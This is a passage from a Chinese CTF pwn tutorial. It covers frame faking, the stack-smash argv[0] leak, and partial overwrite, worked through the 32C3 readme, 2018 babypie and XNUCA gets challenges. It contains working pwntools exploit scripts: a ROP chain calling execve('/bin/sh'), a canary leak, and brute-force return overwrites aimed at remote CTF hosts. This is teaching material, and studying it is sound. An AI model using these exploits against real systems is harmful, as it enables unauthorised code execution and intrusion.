我们就可以通过控制 rbp 为栈上的地址(如 0x7ffceaf11160), ret addr 为 leave ret 的地址来实现控制程序流程了。 比如我们可以在 0x7ffceaf11160 + 0x8 填上 leak libc 的 rop chain 并控制其返回到 `sub_400676` 函数来 leak libc。 ​ 然后在下一次利用时就可以通过 rop 执行 `system("/bin/sh")` 或 `execve("/bin/sh", 0, 0)` 来 get shell 了, 这道题目因为输入的长度足够, 我们可以布置调用 `execve("/bin/sh", 0, 0)` 的利用链, 这种方法更稳妥(`system("/bin/sh")` 可能会因为 env 被破坏而失效), 不过由于利用过程中栈的结构会发生变化, 所以一些关键的偏移还需要通过调试来确定 #### exp ```python from pwn import * context.binary = "./over.over" def DEBUG(cmd): raw_input("DEBUG: ") gdb.attach(io, cmd) io = process("./over.over") elf = ELF("./over.over") libc = elf.libc io.sendafter(">", 'a' * 80) stack = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - 0x70 success("stack -> {:#x}".format(stack)) # DEBUG("b *0x4006B9\nc") io.sendafter(">", flat(['11111111', 0x400793, elf.got['puts'], elf.plt['puts'], 0x400676, (80 - 40) * '1', stack, 0x4006be])) libc.address = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - libc.sym['puts'] success("libc.address -> {:#x}".format(libc.address)) pop_rdi_ret=0x400793 ''' $ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" 0x00000000000f5279 : pop rdx ; pop rsi ; ret ''' pop_rdx_pop_rsi_ret=libc.address+0xf5279 payload=flat(['22222222', pop_rdi_ret, next(libc.search("/bin/sh")),pop_rdx_pop_rsi_ret,p64(0),p64(0), libc.sym['execve'], (80 - 7*8 ) * '2', stack - 0x30, 0x4006be]) io.sendafter(">", payload) io.interactive() ``` 总的来说这种方法跟 stack pivot 差别并不是很大。 ### 参考阅读 - [http://www.xfocus.net/articles/200602/851.html](http://www.xfocus.net/articles/200602/851.html) - [http://phrack.org/issues/58/4.html](http://phrack.org/issues/58/4.html) ## Stack smash ### 原理 在程序加了canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 `__stack_chk_fail` 函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。其代码如下 ```C void __attribute__ ((noreturn)) __stack_chk_fail (void) { __fortify_fail ("stack smashing detected"); } void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg) { /* The loop is added only to keep gcc happy. */ while (1) __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>"); } ``` 所以说如果我们利用栈溢出覆盖 argv[0] 为我们想要输出的字符串的地址,那么在 `__fortify_fail` 函数中就会输出我们想要的信息。 > 批注: 这个方法在 glibc-2.31 之后不可用了, 具体看这个部分代码 [fortify_fail.c](https://elixir.bootlin.com/glibc/glibc-2.31/source/debug/fortify_fail.c) 。 ```c #include <stdio.h> void __attribute__ ((noreturn)) __fortify_fail (const char *msg) { /* The loop is added only to keep gcc happy. */ while (1) __libc_message (do_abort, "*** %s ***: terminated\n", msg); } libc_hidden_def (__fortify_fail) ``` > 总结一下原因就是现在不会打印argv[0] 指针所指向的字符串 ### 32C3 CTF readme 这里,我们以 2015 年 32C3 CTF readme 为例进行介绍,该题目在 jarvisoj 上有复现。 #### 确定保护 可以看出程序为 64 位,主要开启了 Canary 保护以及 NX 保护,以及 FORTIFY 保护。 ```shell ➜ stacksmashes git:(master) ✗ checksec smashes Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled ``` #### 分析程序 ida 看一下 ```c __int64 sub_4007E0() { __int64 v0; // rax@1 __int64 v1; // rbx@2 int v2; // eax@3 __int64 v4; // [sp+0h] [bp-128h]@1 __int64 v5; // [sp+108h] [bp-20h]@1 v5 = *MK_FP(__FS__, 40LL); __printf_chk(1LL, (__int64)"Hello!\nWhat's your name? "); LODWORD(v0) = _IO_gets((__int64)&v4); if ( !v0 ) LABEL_9: _exit(1); v1 = 0LL; __printf_chk(1LL, (__int64)"Nice to meet you, %s.\nPlease overwrite the flag: "); while ( 1 ) { v2 = _IO_getc(stdin); if ( v2 == -1 ) goto LABEL_9; if ( v2 == '\n' ) break; byte_600D20[v1++] = v2; if ( v1 == ' ' ) goto LABEL_8; } memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1)); LABEL_8: puts("Thank you, bye!"); return *MK_FP(__FS__, 40LL) ^ v5; } ``` 很显然,程序在 `_IO_gets((__int64)&v4)`; 存在栈溢出。 此外,程序中还提示要 overwrite flag。而且发现程序很有意思的在 while 循环之后执行了这条语句 ```C memset((void *)((signed int)v1 + 0x600D20LL), 0, (unsigned int)(32 - v1)); ``` 又看了看对应地址的内容,可以发现如下内容,说明程序的flag就在这里。 ``` .data:0000000000600D20 ; char aPctfHereSTheFl[] .data:0000000000600D20 aPctfHereSTheFl db 'PCTF{Here',27h,'s the flag on server}',0 ``` 但是如果我们直接利用栈溢出输出该地址的内容是不可行的,这是因为我们读入的内容 ` byte_600D20[v1++] = v2;`也恰恰就是该块内存,这会直接将其覆盖掉,这时候我们就需要利用一个技巧了 - 在 ELF 内存映射时,bss 段会被映射两次,所以我们可以使用另一处的地址来进行输出,可以使用 gdb 的 find来进行查找。 #### 确定 flag 地址 我们把断点下载 memset 函数处,然后读取相应的内容如下 ```asm gef➤ c Continuing. Hello! What's your name? qqqqqqq Nice to meet you, qqqqqqq. Please overwrite the flag: 222222222 Breakpoint 1, __memset_avx2 () at ../sysdeps/x86_64/multiarch/memset-avx2.S:38 38 ../sysdeps/x86_64/multiarch/memset-avx2.S: 没有那个文件或目录. ─────────────────────────────────────[ code:i386:x86-64 ]──── 0x7ffff7b7f920 <__memset_chk_avx2+0> cmp rcx, rdx 0x7ffff7b7f923 <__memset_chk_avx2+3> jb 0x7ffff7b24110 <__GI___chk_fail> 0x7ffff7b7f929 nop DWORD PTR [rax+0x0] → 0x7ffff7b7f930 <__memset_avx2+0> vpxor xmm0, xmm0, xmm0 0x7ffff7b7f934 <__memset_avx2+4> vmovd xmm1, esi 0x7ffff7b7f938 <__memset_avx2+8> lea rsi, [rdi+rdx*1] 0x7ffff7b7f93c <__memset_avx2+12> mov rax, rdi ───────────────────────────────────────────────────────────────────[ stack ]──── ['0x7fffffffda38', 'l8'] 8 0x00007fffffffda38│+0x00: 0x0000000000400878 → mov edi, 0x40094e ← $rsp 0x00007fffffffda40│+0x08: 0x0071717171717171 ("qqqqqqq"?) 0x00007fffffffda48│+0x10: 0x0000000000000000 0x00007fffffffda50│+0x18: 0x0000000000000000 0x00007fffffffda58│+0x20: 0x0000000000000000 0x00007fffffffda60│+0x28: 0x0000000000000000 0x00007fffffffda68│+0x30: 0x0000000000000000 0x00007fffffffda70│+0x38: 0x0000000000000000 ──────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x7ffff7b7f930 → Name: __memset_avx2() [#1] 0x400878 → mov edi, 0x40094e ────────────────────────────────────────────────────────────────────────────── gef➤ find 22222 Argument required (expression to compute). gef➤ find '22222' No symbol "22222" in current context. gef➤ grep '22222' [+] Searching '22222' in memory [+] In '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/stacksmashes/smashes'(0x600000-0x601000), permission=rw- 0x600d20 - 0x600d3f → "222222222's the flag on server}" [+] In '[heap]'(0x601000-0x622000), permission=rw- 0x601010 - 0x601019 → "222222222" gef➤ grep PCTF [+] Searching 'PCTF' in memory [+] In '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/stacksmashes/smashes'(0x400000-0x401000), permission=r-x 0x400d20 - 0x400d3f → "PCTF{Here's the flag on server}" ``` 可以看出我们读入的 2222 已经覆盖了 0x600d20 处的 flag,但是我们在内存的 0x400d20 处仍然找到了这个flag的备份,所以我们还是可以将其输出。这里我们已经确定了 flag 的地址。 #### 确定偏移 下面,我们确定 argv[0] 距离读取的字符串的偏移。 首先下断点在 main 函数入口处,如下 ```asm gef➤ b *0x00000000004006D0 Breakpoint 1 at 0x4006d0 gef➤ r Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/example/stacksmashes/smashes Breakpoint 1, 0x00000000004006d0 in ?? () code:i386:x86-64 ]──── 0x4006c0 <_IO_gets@plt+0> jmp QWORD PTR [rip+0x20062a] # 0x600cf0 <_IO_gets@got.plt> 0x4006c6 <_IO_gets@plt+6> push 0x9 0x4006cb <_IO_gets@plt+11> jmp 0x400620 → 0x4006d0 sub rsp, 0x8 0x4006d4 mov rdi, QWORD PTR [rip+0x200665] # 0x600d40 <stdout> 0x4006db xor esi, esi 0x4006dd call 0x400660 <setbuf@plt> ──────────────────────────────────────────────────────────────────[ stack ]──── ['0x7fffffffdb78', 'l8'] 8 0x00007fffffffdb78│+0x00: 0x00007ffff7a2d830 → <__libc_start_main+240> mov edi, eax ← $rsp 0x00007fffffffdb80│+0x08: 0x0000000000000000 0x00007fffffffdb88│+0x10: 0x00007fffffffdc58 → 0x00007fffffffe00b → "/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/stackoverflow/exam[...]" 0x00007fffffffdb90│+0x18: 0x0000000100000000 0x00007fffffffdb98│+0x20: 0x00000000004006d0 → sub rsp, 0x8 0x00007fffffffdba0│+0x28: 0x0000000000000000 0x00007fffffffdba8│+0x30: 0x48c916d3cf726fe3 0x00007fffffffdbb0│+0x38: 0x00000000004006ee → xor ebp, ebp ──────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x4006d0 → sub rsp, 0x8 [#1] 0x7ffff7a2d830 → Name: __libc_start_main(main=0x4006d0, argc=0x1, argv=0x7fffffffdc58, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdc48) ---Type <return> to continue, or q <return> to quit--- [#2] 0x400717 → hlt ``` 可以看出 0x00007fffffffe00b 指向程序名,其自然就是 argv[0],所以我们修改的内容就是这个地址。同时0x00007fffffffdc58 处保留着该地址,所以我们真正需要的地址是 0x00007fffffffdc58。 此外,根据汇编代码 ```asm .text:00000000004007E0 push rbp .text:00000000004007E1 mov esi, offset aHelloWhatSYour ; "Hello!\nWhat's your name? " .text:00000000004007E6 mov edi, 1 .text:00000000004007EB push rbx .text:00000000004007EC sub rsp, 118h .text:00000000004007F3 mov rax, fs:28h .text:00000000004007FC mov [rsp+128h+var_20], rax .text:0000000000400804 xor eax, eax .text:0000000000400806 call ___printf_chk .text:000000000040080B mov rdi, rsp .text:000000000040080E call __IO_gets ``` 我们可以确定我们读入的字符串的起始地址其实就是调用 `__IO_gets` 之前的 rsp,所以我们把断点下在 call 处,如下 ```asm gef➤ b *0x000000000040080E Breakpoint 2 at 0x40080e gef➤ c Continuing. Hello! What's your name? Breakpoint 2, 0x000000000040080e in ?? () ──────────────────────────[ code:i386:x86-64 ]──── 0x400804 xor eax, eax 0x400806 call 0x4006b0 <__printf_chk@plt> 0x40080b mov rdi, rsp → 0x40080e call 0x4006c0 <_IO_gets@plt> ↳ 0x4006c0 <_IO_gets@plt+0> jmp QWORD PTR [rip+0x20062a] # 0x600cf0 <_IO_gets@got.plt> 0x4006c6 <_IO_gets@plt+6> push 0x9 0x4006cb <_IO_gets@plt+11> jmp 0x400620 0x4006d0 sub rsp, 0x8 ──────────────────[ stack ]──── ['0x7fffffffda40', 'l8'] 8 0x00007fffffffda40│+0x00: 0x0000ff0000000000 ← $rsp, $rdi 0x00007fffffffda48│+0x08: 0x0000000000000000 0x00007fffffffda50│+0x10: 0x0000000000000000 0x00007fffffffda58│+0x18: 0x0000000000000000 0x00007fffffffda60│+0x20: 0x0000000000000000 0x00007fffffffda68│+0x28: 0x0000000000000000 0x00007fffffffda70│+0x30: 0x0000000000000000 0x00007fffffffda78│+0x38: 0x0000000000000000 ────────────────────────────────────────────[ trace ]──── [#0] 0x40080e → call 0x4006c0 <_IO_gets@plt> ────────────────────────────────────────────────────────── gef➤ print $rsp $1 = (void *) 0x7fffffffda40 ``` 可以看出rsp的值为0x7fffffffda40,那么相对偏移为 ```python >>> 0x00007fffffffdc58-0x7fffffffda40 536 >>> hex(536) '0x218' ``` #### 利用程序 我们构造利用程序如下 ```python from pwn import * context.log_level = 'debug' smash = ELF('./smashes') if args['REMOTE']: sh = remote('pwn.jarvisoj.com', 9877) else: sh = process('./smashes') argv_addr = 0x00007fffffffdc58 name_addr = 0x7fffffffda40 flag_addr = 0x600D20 another_flag_addr = 0x400d20 payload = 'a' * (argv_addr - name_addr) + p64(another_flag_addr) sh.recvuntil('name? ') sh.sendline(payload) sh.recvuntil('flag: ') sh.sendline('bb') data = sh.recv() sh.interactive() ``` 这里我们直接就得到了 flag,没有出现网上说的得不到 flag 的情况。 ### 题目 - 2018 网鼎杯 - guess ## 栈上的 partial overwrite partial overwrite 这种技巧在很多地方都适用, 这里先以栈上的 partial overwrite 为例来介绍这种思想。 我们知道, 在开启了随机化(ASLR,PIE)后, 无论高位的地址如何变化,低 12 位的页内偏移始终是固定的, 也就是说如果我们能更改低位的偏移, 就可以在一定程度上控制程序的执行流, 绕过 PIE 保护。 ### 2018-安恒杯-babypie 以安恒杯 2018 年 7 月月赛的 babypie 为例分析这一种利用技巧, 题目的 binary 放在了 [ctf-challenge](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/partial_overwrite) 中 #### 确定保护 ```bash babypie: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=77a11dbd367716f44ca03a81e8253e14b6758ac3, stripped [*] '/home/m4x/pwn_repo/LinkCTF_2018.7_babypie/babypie' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ``` 64 位动态链接的文件, 开启了 PIE 保护和栈溢出保护 #### 分析程序 IDA 中看一下, 很容易就能发现漏洞点, 两处输入都有很明显的栈溢出漏洞, 需要注意的是在输入之前, 程序对栈空间进行了清零, 这样我们就无法通过打印栈上信息来 leak binary 或者 libc 的基址了 ```C __int64 sub_960() { char buf[40]; // [rsp+0h] [rbp-30h] unsigned __int64 v2; // [rsp+28h] [rbp-8h] v2 = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); *(_OWORD *)buf = 0uLL; *(_OWORD *)&buf[16] = 0uLL; puts("Input your Name:"); read(0, buf, 0x30uLL); // overflow printf("Hello %s:\n", buf, *(_QWORD *)buf, *(_QWORD *)&buf[8], *(_QWORD *)&buf[16], *(_QWORD *)&buf[24]); read(0, buf, 0x60uLL); // overflow return 0LL; } ``` 同时也发现程序中给了能直接 get shell 的函数 ```asm .text:0000000000000A3E getshell proc near .text:0000000000000A3E ; __unwind { .text:0000000000000A3E push rbp .text:0000000000000A3F mov rbp, rsp .text:0000000000000A42 lea rdi, command ; "/bin/sh" .text:0000000000000A49 call _system .text:0000000000000A4E nop .text:0000000000000A4F pop rbp .text:0000000000000A50 retn .text:0000000000000A50 ; } // starts at A3E .text:0000000000000A50 getshell endp ``` 这样我们只要控制 rip 到该函数即可 #### leak canary 在第一次 read 之后紧接着就有一个输出, 而 read 并不会给输入的末尾加上 \0, 这就给了我们 leak 栈上内容的机会。 为了第二次溢出能控制返回地址, 我们选择 leak canary. 可以计算出第一次 read 需要的长度为 0x30 - 0x8 + 1 (+ 1 是为了覆盖 canary 的最低位为非 0 的值, printf 使用 %s 时, 遇到 \0 结束, 覆盖 canary 低位为非 0 值时, canary 就可以被 printf 打印出来了) ```asm Breakpoint 1, 0x0000557c8443aa08 in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────── RAX 0x0 RBX 0x0 RCX 0x7f1898a64690 (__read_nocancel+7) ◂— cmp rax, -0xfff RDX 0x30 RDI 0x557c8443ab15 ◂— insb byte ptr [rdi], dx /* 'Hello %s:\n' */ RSI 0x7ffd97aa0410 ◂— 0x6161616161616161 ('aaaaaaaa') R8 0x7f1898f1d700 ◂— 0x7f1898f1d700 R9 0x7f1898f1d700 ◂— 0x7f1898f1d700 R10 0x37b R11 0x246 R12 0x557c8443a830 ◂— xor ebp, ebp R13 0x7ffd97aa0540 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7ffd97aa0440 —▸ 0x7ffd97aa0460 —▸ 0x557c8443aa80 ◂— push r15 RSP 0x7ffd97aa0410 ◂— 0x6161616161616161 ('aaaaaaaa') RIP 0x557c8443aa08 ◂— call 0x557c8443a7e0 ───────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────── ► 0x557c8443aa08 call 0x557c8443a7e0 0x557c8443aa0d lea rax, [rbp - 0x30] 0x557c8443aa11 mov edx, 0x60 0x557c8443aa16 mov rsi, rax 0x557c8443aa19 mov edi, 0 0x557c8443aa1e call 0x557c8443a7f0 0x557c8443aa23 mov eax, 0 0x557c8443aa28 mov rcx, qword ptr [rbp - 8] 0x557c8443aa2c xor rcx, qword ptr fs:[0x28] 0x557c8443aa35 je 0x557c8443aa3c 0x557c8443aa37 call 0x557c8443a7c0 ────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────── 00:0000│ rsi rsp 0x7ffd97aa0410 ◂— 0x6161616161616161 ('aaaaaaaa') ... ↓ 05:0028│ 0x7ffd97aa0438 ◂— 0xb3012605fc402a61 06:0030│ rbp 0x7ffd97aa0440 —▸ 0x7ffd97aa0460 —▸ 0x557c8443aa80 ◂— push r15 07:0038│ 0x7ffd97aa0448 —▸ 0x557c8443aa6a ◂— mov eax, 0 Breakpoint *(0x557c8443a000+0xA08) pwndbg> canary $1 = 0 canary : 0xb3012605fc402a00 pwndbg> ``` canary 在 rbp - 0x8 的位置上, 可以看出此时 canary 的低位已经被覆盖为 0x61, 这样只要接收 'a' * (0x30 - 0x8 + 1) 后的 7 位, 再加上最低位的 '\0', 我们就恢复出程序的 canary 了 #### 覆盖返回地址 有了 canary 后, 就可以通过第二次的栈溢出来改写返回地址了, 控制返回地址到 getshell 函数即可, 我们先看一下没溢出时的返回地址 ```asm 0x000055dc43694a1e in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────── RAX 0x7fff9aa3af20 ◂— 0x6161616161616161 ('aaaaaaaa') RBX 0x0 RCX 0x7f206c6696f0 (__write_nocancel+7) ◂— cmp rax, -0xfff RDX 0x60 RDI 0x0 RSI 0x7fff9aa3af20 ◂— 0x6161616161616161 ('aaaaaaaa') R8 0x7f206cb22700 ◂— 0x7f206cb22700 R9 0x3e R10 0x73 R11 0x246 R12 0x55dc43694830 ◂— xor ebp, ebp R13 0x7fff9aa3b050 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7fff9aa3af50 —▸ 0x7fff9aa3af70 —▸ 0x55dc43694a80 ◂— push r15 RSP 0x7fff9aa3af20 ◂— 0x6161616161616161 ('aaaaaaaa') RIP 0x55dc43694a1e ◂— call 0x55dc436947f0 ───────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────── 0x55dc43694a08 call 0x55dc436947e0 0x55dc43694a0d lea rax, [rbp - 0x30] 0x55dc43694a11 mov edx, 0x60 0x55dc43694a16 mov rsi, rax 0x55dc43694a19 mov edi, 0 ► 0x55dc43694a1e call 0x55dc436947f0 0x55dc43694a23 mov eax, 0 0x55dc43694a28 mov rcx, qword ptr [rbp - 8] 0x55dc43694a2c xor rcx, qword ptr fs:[0x28] 0x55dc43694a35 je 0x55dc43694a3c 0x55dc43694a37 call 0x55dc436947c0 ────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────── 00:0000│ rax rsi rsp 0x7fff9aa3af20 ◂— 0x6161616161616161 ('aaaaaaaa') ... ↓ 05:0028│ 0x7fff9aa3af48 ◂— 0xbfe0cfbabccd2861 06:0030│ rbp 0x7fff9aa3af50 —▸ 0x7fff9aa3af70 —▸ 0x55dc43694a80 ◂— push r15 07:0038│ 0x7fff9aa3af58 —▸ 0x55dc43694a6a ◂— mov eax, 0 pwndbg> x/10i (0x0A3E+0x55dc43694000) 0x55dc43694a3e: push rbp 0x55dc43694a3f: mov rbp,rsp 0x55dc43694a42: lea rdi,[rip+0xd7] # 0x55dc43694b20 0x55dc43694a49: call 0x55dc436947d0 0x55dc43694a4e: nop 0x55dc43694a4f: pop rbp 0x55dc43694a50: ret 0x55dc43694a51: push rbp 0x55dc43694a52: mov rbp,rsp 0x55dc43694a55: sub rsp,0x10 ``` 可以发现, 此时的返回地址与 get shell 函数的地址只有低位的 16 bit 不同, 如果覆写低 16 bit 为 `0x?A3E`, 就有一定的几率 get shell 最终的脚本如下: ```python #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * # context.log_level = "debug" context.terminal = ["deepin-terminal", "-x", "sh", "-c"] while True: try: io = process("./babypie", timeout = 1) # gdb.attach(io) io.sendafter(":\n", 'a' * (0x30 - 0x8 + 1)) io.recvuntil('a' * (0x30 - 0x8 + 1)) canary = '\0' + io.recvn(7) success(canary.encode('hex')) # gdb.attach(io) io.sendafter(":\n", 'a' * (0x30 - 0x8) + canary + 'bbbbbbbb' + '\x3E\x0A') io.interactive() except Exception as e: io.close() print e ``` 需要注意的是, 这种技巧不止在栈上有效, 在堆上也是一种有效的绕过地址随机化的手段 ### 2018-XNUCA-gets 这个题目也挺有意思的,如下 ```c __int64 __fastcall main(__int64 a1, char **a2, char **a3) { char *v4; // [rsp+0h] [rbp-18h] gets((char *)&v4); return 0LL; } ``` 程序就这么小,很明显有一个栈溢出的漏洞,然而没有任何 leak。。 #### 确定保护 先来看看程序的保护 ```c [*] '/mnt/hgfs/CTF/2018/1124XNUCA/pwn/gets/gets' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` 比较好的是程序没有 canary,自然我们很容易控制程序的 EIP,但是控制到哪里是一个问题。 #### 分析 我们通过 ELF 的基本执行流程(可执行文件部分)来知道程序的基本执行流程,与此同时我们发现在栈上存在着两个函数的返回地址。 ```asm pwndbg> stack 25 00:0000│ rsp 0x7fffffffe398 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax 01:0008│ 0x7fffffffe3a0 ◂— 0x1 02:0010│ 0x7fffffffe3a8 —▸ 0x7fffffffe478 —▸ 0x7fffffffe6d9 ◂— 0x6667682f746e6d2f ('/mnt/hgf') 03:0018│ 0x7fffffffe3b0 ◂— 0x1f7ffcca0 04:0020│ 0x7fffffffe3b8 —▸ 0x400420 ◂— sub rsp, 0x18 05:0028│ 0x7fffffffe3c0 ◂— 0x0 06:0030│ 0x7fffffffe3c8 ◂— 0xf086047f3fb49558 07:0038│ 0x7fffffffe3d0 —▸ 0x400440 ◂— xor ebp, ebp 08:0040│ 0x7fffffffe3d8 —▸ 0x7fffffffe470 ◂— 0x1 09:0048│ 0x7fffffffe3e0 ◂— 0x0 ... ↓ 0b:0058│ 0x7fffffffe3f0 ◂— 0xf79fb00f2749558 0c:0060│ 0x7fffffffe3f8 ◂— 0xf79ebba9ae49558 0d:0068│ 0x7fffffffe400 ◂— 0x0 ... ↓ 10:0080│ 0x7fffffffe418 —▸ 0x7fffffffe488 —▸ 0x7fffffffe704 ◂— 0x504d554a4f545541 ('AUTOJUMP') 11:0088│ 0x7fffffffe420 —▸ 0x7ffff7ffe168 ◂— 0x0 12:0090│ 0x7fffffffe428 —▸ 0x7ffff7de77cb (_dl_init+139) ◂— jmp 0x7ffff7de77a0 ``` 其中 `__libc_start_main+240` 位于 libc 中,`_dl_init+139` 位于 ld 中 ``` 0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0 0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so ``` 一个比较自然的想法就是我们通过 partial overwrite 来修改这两个地址到某个获取 shell 的位置,那自然就是 Onegadget 了。那么我们究竟覆盖哪一个呢?? 我们先来分析一下 `libc` 的基地址 `0x7ffff7a0d000`。我们一般要覆盖字节的话,至少要覆盖1个半字节才能够获取跳到 onegadget。然而,程序中读取的时候是 `gets`读取的,也就意味着字符串的末尾肯定会存在`\x00`。 而我们覆盖字节的时候必须覆盖整数倍个数,即至少会覆盖 3 个字节,而我们再来看看`__libc_start_main+240` 的地址 `0x7ffff7a2d830`,如果覆盖3个字节,那么就是 `0x7ffff700xxxx`,已经小于了 libc 的基地址了,前面也没有刻意执行的代码位置。 一般来说 libc_start_main 在 libc 中的偏移不会差的太多,那么显然我们如果覆盖 `__libc_start_main+240` ,显然是不可能的。 而 ld 的基地址呢?如果我们覆盖了栈上`_dl_init+139`,即为`0x7ffff700xxxx`。而观察上述的内存布局,我们可以发现`libc`位于 `ld` 的低地址方向,那么在随机化的时候,很有可能 libc 的第 3 个字节是为`\x00` 的。 举个例子,目前两者之间的偏移为 ``` 0x7ffff7dd7000-0x7ffff7a0d000=0x3ca000 ``` 那么如果 ld 被加载到了 `0x7ffff73ca000`,则显然 `libc` 的起始地址就是`0x7ffff7000000`。 因此,我们有足够的理由选择覆盖栈上存储的`_dl_init+139`。那么覆盖成什么呢?还不知道。因为我们还不知道 libc 的库版本是什么,, 我们可以先随便覆盖覆盖,看看程序会不会崩溃,毕竟此时很有可能会执行 libc 库中的代码。 ```python from pwn import * context.terminal = ['tmux', 'split', '-h'] #context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] if args['DEBUG']: context.log_level = 'debug' elfpath = './gets' context.binary = elfpath elf = ELF(elfpath) bits = elf.bits def exp(ip, port): for i in range(0x1000): if args['REMOTE']: p = remote(ip, port) else: p = process(elfpath, timeout=2) # gdb.attach(p) try: payload = 0x18 * 'a' + p64(0x40059B) for _ in range(2): payload += 'a' * 8 * 5 + p64(0x40059B) payload += 'a' * 8 * 5 + p16(i) p.sendline(payload) data = p.recv() print data p.interactive() p.close() except Exception: p.close() continue if __name__ == "__main__": exp('106.75.4.189', 35273) ``` 最后发现报出了如下错误,一方面,我们可以判断出这肯定是 2.23 版本的 libc;另外一方面,我们我们可以通过`(cfree+0x4c)[0x7f57b6f9253c]`来最终定位 libc 的版本。 ``` ======= Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f57b6f857e5] /lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7f57b6f8e37a] /lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f57b6f9253c] /lib/x86_64-linux-gnu/libc.so.6(+0xf2c40)[0x7f57b7000c40] [0x7ffdec480f20] ======= Memory map: ======== 00400000-00401000 r-xp 00000000 00:28 48745 /mnt/hgfs/CTF/2018/1124XNUCA/pwn/gets/gets 00600000-00601000 r--p 00000000 00:28 48745 /mnt/hgfs/CTF/2018/1124XNUCA/pwn/gets/gets 00601000-00602000 rw-p 00001000 00:28 48745 /mnt/hgfs/CTF/2018/1124XNUCA/pwn/gets/gets 00b21000-00b43000 rw-p 00000000 00:00 0 [heap] 7f57b0000000-7f57b0021000 rw-p 00000000 00:00 0 7f57b0021000-7f57b4000000 ---p 00000000 00:00 0 7f57b6cf8000-7f57b6d0e000 r-xp 00000000 08:01 914447 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f57b6d0e000-7f57b6f0d000 ---p 00016000 08:01 914447 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f57b6f0d000-7f57b6f0e000 rw-p 00015000 08:01 914447 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f57b6f0e000-7f57b70ce000 r-xp 00000000 08:01 914421 /lib/x86_64-linux-gnu/libc-2.23.so 7f57b70ce000-7f57b72ce000 ---p 001c0000 08:01 914421 /lib/x86_64-linux-gnu/libc-2.23.so 7f57b72ce000-7f57b72d2000 r--p 001c0000 08:01 914421 /lib/x86_64-linux-gnu/libc-2.23.so 7f57b72d2000-7f57b72d4000 rw-p 001c4000 08:01 914421 /lib/x86_64-linux-gnu/libc-2.23.so 7f57b72d4000-7f57b72d8000 rw-p 00000000 00:00 0 7f57b72d8000-7f57b72fe000 r-xp 00000000 08:01 914397 /lib/x86_64-linux-gnu/ld-2.23.so 7f57b74ec000-7f57b74ef000 rw-p 00000000 00:00 0 7f57b74fc000-7f57b74fd000 rw-p 00000000 00:00 0 7f57b74fd000-7f57b74fe000 r--p 00025000 08:01 914397 /lib/x86_64-linux-gnu/ld-2.23.so 7f57b74fe000-7f57b74ff000 rw-p 00026000 08:01 914397 /lib/x86_64-linux-gnu/ld-2.23.so 7f57b74ff000-7f57b7500000 rw-p 00000000 00:00 0 7ffdec460000-7ffdec481000 rw-p 00000000 00:00 0 [stack] 7ffdec57f000-7ffdec582000 r--p 00000000 00:00 0 [vvar] 7ffdec582000-7ffdec584000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] ``` 确定好了 libc 的版本后,我们可以选一个 one_gadget,这里我选择第一个,较低地址的。 ```shell 